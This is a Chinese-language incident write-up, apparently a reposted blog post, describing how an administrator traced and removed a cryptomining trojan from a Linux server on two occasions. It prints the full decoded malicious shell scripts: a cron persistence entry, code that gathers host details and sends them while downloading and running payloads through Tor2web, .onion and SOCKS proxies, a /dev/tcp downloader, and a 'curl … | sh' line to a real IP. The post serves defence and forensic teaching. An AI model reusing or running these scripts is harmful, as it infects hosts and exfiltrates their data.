实战|记录一次木马排查

admin 2022年2月14日12:27:09评论86 views字数 4557阅读15分11秒阅读模式

2021年12月27日第一次处理

  • 初步排查

收到CPU使用率100%的监控告警

登陆主机,发现一个陌生进程,进程名为SloH4auG,怀疑是木马。

ps -ef|grep SloH4auG 找到pid

cd /proc/7407/ && ll 查看进程的exec,当时没截图,发现执行程序的文件名是乱码,并且已经被删除。这种会清理痕迹的执行行为,基本可以确定该文件为木马。

  • 紧急处理

确定服务器已经中毒,开始紧急处置,首先确定业务影响,确定可控之后使用防火墙封禁其网络出入口,特别是内网进出全部封禁,避免其继续污染内网其他主机。

因为这台主机没有主要业务,而且我准备抓到木马干了什么,所以就暂时保留公网进出口,因为很多木马发现自己无法与C&C服务器建立连接的话,会进行自杀并清理痕迹。

  • 找木马样本

cd /var/spool/cron && ll,查看定时任务的修改时间,发现root用户的定时任务有修改。

cat root 发现一条定时任务

26 * * * * /root/.systemd-private-lYLmBkzzKln31w9xOAKuqXpObYJjY.sh > /dev/null 2>&1 &

查看该文件如图,执行过程使用base64加密

实战|记录一次木马排查

 base64解码后得到木马代码如下:

lYLmBkzzKln31w9xOAKuqXpObYJjY
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad")

sockz() {
n=(dns.digitale-gesellschaft.ch doh.li doh.pub fi.doh.dns.snopyta.org hydra.plan9-ns1.com resolver-eu.lelux.fi dns.hostux.net dns.twnic.tw doh-fi.blahdns.com resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
q=${n[$((RANDOM%${#n[@]}))]}
s=$($c //$q/$p | grep -oE "b([0-9]{1,3}.){3}[0-9]{1,3}b" |tr ' ' 'n'|grep -Ev [.]0|sort -uR|tail -1)
}

fexe() {
for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}

u() {
sockz
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod +x $x;$x;rm -f $x
}

for h in tor2web.in tor2web.it
do
if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
fexe;u $t.$h
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
else
break
fi
done

 

从脚本内容看,核心是u()函数,收集了主机的信息后使用匿名代理下载了一个文件并执行,执行完成后删除了。

可以找个沙盒尝试下载该文件,当时我没有下载。直接就开始清理了。

  • 清理木马

kill木马进程,删掉对应crontab记录,crontab有两个位置,都要清理,/var/spool/cron,/etc/cront.d/

清理木马文件,对应两个crontab记录,也是两个脚本文件,都要删除。

至此告一段落。


 2022年2月10日第二次处理

  • 木马再次出现

上次中木马之后,我清理了公网的无用端口,已经无法出公网,而这台主机重启后,该主机出现了恶意代码告警。

进程链:
-[542] /usr/sbin/crond -n
-[4136] /usr/sbin/crond -n
-[4141] /bin/sh -c curl -fsS 139.59.150.7:443/rl|sh

登录主机,发现正在执行的sh进程,找到进程pid,进入/proc/$pid/,查看cmdline,发现进程wget了一个脚本,获取该脚本如下。

XRANDOM
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

function kurl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80

exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0rnHost: ${HOST}rnrn" >&3
(while read line; do
[[ "$line" == $'r' ]] && break
done && cat) <&3
exec 3>&-
}

rm -f $HOME/ss
curl -V || wget -q //github.com/moparisthebest/static-curl/releases/download/v7.75.0/curl-amd64 -O $HOME/curl;chmod +x $HOME/curl
curl -V || kurl //139.59.150.7:443/curl > $HOME/curl;chmod +x $HOME/curl
ss -v || kurl //139.59.150.7:443/ss > $HOME/ss;chmod +x $HOME/ss
ss -v || curl -s //139.59.150.7:443/ss -o $HOME/ss;chmod +x $HOME/ss
ps || curl -s //139.59.150.7:443/ps -o $HOME/ps;chmod +x $HOME/ps

d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "rxmxpzfkydkulhhqnuftbmf6d5q67jjchopmh4ofszfwwnmz4bqq2fid")

sockz() {
n=(doh.nl.ahadns.net dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.no.ahadns.net doh-fi.blahdns.com fi.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$($c //${n[$((RANDOM%11))]}/$p | grep -oE "b([0-9]{1,3}.){3}[0-9]{1,3}b" |tr ' ' 'n'|grep -Ev [.]0|sort -uR|head -n 1)
}

fexe() {
for i in . $HOME /usr/bin $d /tmp /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}

u() {
sockz
f=/l/rd.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod +x $x;$x;rm -f $x
}

for h in tor2web.in tor2web.it
do
if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
fexe;u $t.$h
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
else
break
fi
done
rm -f /etc/cron.d/systemdd

  

该脚本与上次发现的一样,也是收集主机信息并通过匿名代理下载木马文件,这次我获取到了该文件,该文件是一个二进制文件,执行后就会执行后续的挖矿程序。即上次处理时发现的情况。

从这次情况看,上次清理时没有处理开机自动启动的问题,这次抓进程时,从cmdline里看到,应该是开机启动时执行了/usr/sbin/crond -n命令拉起了木马,然后删除了/usr/sbin/crond文件。这是把自己伪装成crond服务防止被识别。

  • 遗留问题

但是开机启动的配置我还没有找到,因为linux启动时可以嵌入代码的地方太多了,准备把这台机器应用迁移后释放掉了。


转载于codingnote.cc。

推荐阅读

实战|记录一次木马排查

实战|记录一次木马排查

往期推荐

实战|对本地某电脑专卖店前台主机的一次渗透

CTF密码学常见加密解密工具(附下载地址)

实战|记一次有趣的客户端RCE+服务端XXE挖掘

红/蓝队渗透环境自动化部署工具

内网域渗透分析(实战总结)

2022年2月|零基础+进阶系统化渗透测试工程师+CTF网络安全大赛学习指南

原文始发于微信公众号(乌雲安全):实战|记录一次木马排查

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月14日12:27:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战|记录一次木马排查https://cn-sec.com/archives/776838.html

发表评论

匿名网友 填写信息